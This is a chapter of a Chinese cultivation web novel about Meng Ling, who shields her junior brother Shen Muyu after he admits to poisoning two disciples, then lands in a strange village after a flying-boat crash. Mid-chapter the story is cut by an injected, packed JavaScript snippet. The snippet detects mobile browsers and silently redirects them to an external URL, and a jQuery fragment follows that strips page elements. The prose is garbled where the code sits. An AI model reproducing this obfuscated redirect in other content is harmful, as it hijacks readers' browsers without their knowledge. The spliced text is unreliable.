孟泠注意到她的视线,若有所思地眨了下眼。
“师尊有具体的线索吗?”
郑枕笙闭上眼睛,摇了摇头:“你可以从祁敢那里着手调查。”
“那未免太过麻烦。”孟泠转眸看向祝庭之,温声道:“祝师弟也不知道吗?”
“我只将药给了出去,怎么可能知道她给了谁!要不然我怎么可能跟着一起中毒。”祝庭之气闷道。
孟泠点了点头。
行,任务都压给她。
“那没什么别的事,我就先离开了。”她垂眸说。
郑枕笙声音清冷:“嗯,你回去收拾一下,半个时辰后出发去往鲸歌。”
“半个时辰?”孟泠愣了一下。
原剧情是一天后出发的,就因为男主也中毒了,现在这么急?
郑枕笙:“一月之限太短。”
“师尊说的有理。”孟泠道:“此次出宗既是解毒也是历练,我想把沈师弟也一起带上。”
郑枕笙:“你决定就好。”
孟泠向她行礼告别。
祝庭之想跟着她一起出殿门,却没想到师尊喊住他:“庭之,我还有几个问题要问你。”
只听到这句话后,孟泠便抬手关上了殿门,然后目不斜视地越过殿外的少年往台阶下走。
沈暮聿不声不响地跟着她,眼神颇有些黯淡,声音放的特别轻:“师姐,我很好哄的。”
只需要跟他讲一个字他就会主动凑上来了的。
孟泠抿唇,内心几经纠结,最后还是勾起红丝把和系统的连接给断开了。
“半个时辰后,跟我一起去南齐国。”她平视前方对身后人道。
“找解药吗?”
“嗯,还要调查清楚此次下毒的幕后真凶。”
“师姐要费这么多心思么?”
孟泠怔了一下。
解药她一时心里有数,幕后真凶她根据师尊的反应也大概能猜到。
其实她现在更为头疼的是,如何把男主的印记给刻上。
沈暮聿望着她轻轻蹙起的眉头,突然上前一步拦住她,认真道:“师姐,毒是我下的。”
孟泠停滞了几秒,和他对上视线:“你说的,是哪一个?”
“两个人都是。”
孟泠沉默地往前走。
“师姐!你一点都——”沈暮聿压下眉梢,拽住她的手腕。
“停。”
在一起相处这么长时间,已经完全知道对方想说什么了,所以孟泠干脆抬手打断对方的话。
她在心里想他好幼稚,但还是开口说:“沈暮聿,那我问你。祁敢想给周诗下毒是因为有仇,祝庭之给祁敢毒是因为他们是一个国家来的,那你为什么给周诗下毒?”
沈暮聿的唇角蓦地弯起。
“因为我想给祝庭之下毒。”
只是为了拿到毒,顺手接了祁敢的委托而已。
这答案确实有点意料之外,孟泠瞳孔放大一刹。
沈暮聿安静地看着她,似是无声的等待。
孟泠看明白了:“那你为什么要给祝庭之下毒?”
“因为他让师姐受伤了。”
孟泠深深地看了他一眼,神色严肃道:“此事你不知道,我也不知道。这次出行我也不会找到凶手,你记住了。”
沈暮聿唇角弯起,眼里也漾着光彩:“师姐要包庇我吗?”
“不是。”
她心里也记着祝庭之伤她那仇呢,只是一直在找时机。
加上挺烦师尊一直护着祝庭之,她一开始就没想过揪出真凶。
至于还男主清白?
呵,从宋存那也不难看出,现在宗门里流传的幕后真凶还是她这沈师弟的名讳呢。
虽然阴差阳错对了。
“哦。”沈暮聿神色懒散地应了一声,一点也不把她的那句否认放心上。
至少今天师姐愿意主动关心他的行为与动机了。
各自分开收拾过东西后,大家在金玉台上的飞舟边集合。
此次解毒任务出行的有,中毒两人组周诗和祝庭之,嫌疑人祁敢,受任命者林知宜和孟泠,以及沈暮聿。
鲸歌位于南齐国都城北门外,边沿什焰海,从飞舟往下望,围着村落的树刚好组成一个鲸的形状,鲸鱼头部靠海。
祝庭之听着风声和水声:“我们就靠海边停吧。”
祁敢:“拒绝。飞舟是木制的,遇水后不好回收储存。”
周诗拄着一个木拐,循着他们的声音:“那我支持靠海边。”
林知宜:“我不支持。”
周诗:“理由?”
林知宜没说话。
周诗不依不饶:“我支持是为了和祁敢对着干,林师妹是为什么?”
“蠢货。”祁敢嗤声。
周诗瞬间拧眉,想等着她说出个所以然来之后自己再怼回去,结果等了半天祁敢都没开口,他举起拐杖指向祁敢的方向:“你纯骂啊?”
拐杖差点打到孟泠,她反应极快地退后一步躲开。
祁敢朝她望过去:“阿泠小时候在海边出过事吧。”
孟泠被点到,懵了一下:“啊,是掉进海里过。”
她那时也以为自己会死掉,但没想到因祸得福获得了红丝。
“应该是七岁那年。”她不确定。
沈暮聿轻轻道:“七岁生辰后的第一百八十九天。”
孟泠讶然地看向他。
“那你肯定不想靠海边。”周诗对她说。
“纠结这个完全没有意义啊。”孟泠无奈道:“实沈君在我们走的时候有嘱咐我们绕开鲸歌,将飞舟停在都城外再步行进村。”
祝庭之摇头,兴致勃勃:“我步行进入好多次了,一点感觉都没有,今天好不容易有飞舟,我们飞进去,停在离海边远一点的地方!”
孟泠没反驳。
这是原剧情的发展轨迹。
而且不出意外,在场的人也全都默认了这条路线。
她在心里默念倒计时。
三、二。
数到一的时候,飞舟突然撞到了什么透明的屏障开始碎裂,随后一道白光闪过,眼前昏了一秒。
再睁眼,身边人全部消失不见。
而她站在褐色潮湿的土壤上,周围是高大茂密的树林,耳边是雨滴滑落树叶的滴答声。
“有没有人啊!”
空气中传来一个女孩嘶哑的声音:“救救我!”
孟泠一边往那个方向走一边在心里轻声喊:系统?
机械音烦闷出声道:“你离男女主太远了。”
他们的剧情没问题吧?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315277|198938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“暂时没问题。”
孟泠点头:那有没有我去找男女主的路线?
“你们都不在一层。”机械音想到这里更加烦恼:“你自己在附近先随便探索一会儿,别乱走,我去找找资料。”
孟泠应声。
不在一层的意思是,男女主在地下,而她在地上吗?
她先跟着声音找到了一个大坑,往下望到十二三岁、满身沾着泥看不出衣服颜色的小女孩。
见到来人,她眼睛刷地亮起:“姐姐!你能拉我上去吗?”
“先别着急,等我找根藤条。”孟泠对她温柔道。
她在四周寻找了一圈,找到了三根较长的藤蔓。
把藤蔓编成一根绳后,她对折藤绳,将绳中间扔给女孩,自己抓住线的两头:“把绳子在腰上缠一圈,然后一手抓一边。”
女孩乖巧地照做。
孟泠将她从坑里拉出来。
“谢谢姐姐!”女孩红着眼,抱住她劫后余生道:“我差点以为要死在这里了。”
“你怎么一个人在这里?”孟泠蹲在她面前,帮她整理了一下头发。
“我想摘点果子回家,结果迷路了,不小心掉进村里抓野类的陷阱了。”
“野类?”孟泠猜测是野兔野猪之类的动物,她的视线越过女孩望向坑底,那里有一块明显的凸起。
“不是村里的都是野类啦!”女孩向她解释的同时注意到她的视线:“姐姐在看什么呀?”
“坑底那块凸起也是陷阱的一部分吗?”孟泠问她。
“当然不是。”女孩不好意思地伸出自己糊着泥巴的手掌:“这里刚下过雨,土壤都很湿,我喊不到人来救我,就想着自己用泥巴堆几个台阶爬上来。”
“很聪明呀。”孟泠弯眸,回忆着女孩问她问题前讲的那句话。
不是村里的都是野类。
她慢慢眨了眨眼睛:“那我也是野类吗?”
女孩瞪大眼睛,迅速摇头:“姐姐救了我,当然不是野类!”
孟泠眉眼弯弯。
她问的是自己作为人的身份。
女孩在乎的却是她的价值。
坑里堆的到底是不是泥巴,还有待确认。
“姐姐,天灯要灭了,树林里不安全,我带你回家吧!”
回家这事咱们另说。
孟泠抬头想看看夕阳,结果只看到了枝繁叶茂交错的树枝,于是问道:“天灯是指太阳吗?”
女孩昂头看着她,眼神疑惑:“什么是太阳呀?”
孟泠沉默。
或许她才是在地下的那层。
倒是女孩先反应过来:“哦对了姐姐是野……外的,可能不知道,天灯是照亮整个村子的东西。”
其实还是觉得她是野类吧!
孟泠默默用衣袖沾了点露水,帮女孩擦脸上的泥巴:“你叫什么名字?”
“一一。”女孩被衣袖蹭的有点痒,往后边躲边笑道:“我叫一一!”
“姐姐,跟我回家吧!”
我不敢哇!
孟泠的面上仍然温和:“你们村里还有空房子吗?”
“树林里就有很多空家哦。”
孟泠:“树林里也算村里吗?”
女孩点头:“只要是大家脚步踏过的地方都是村里!”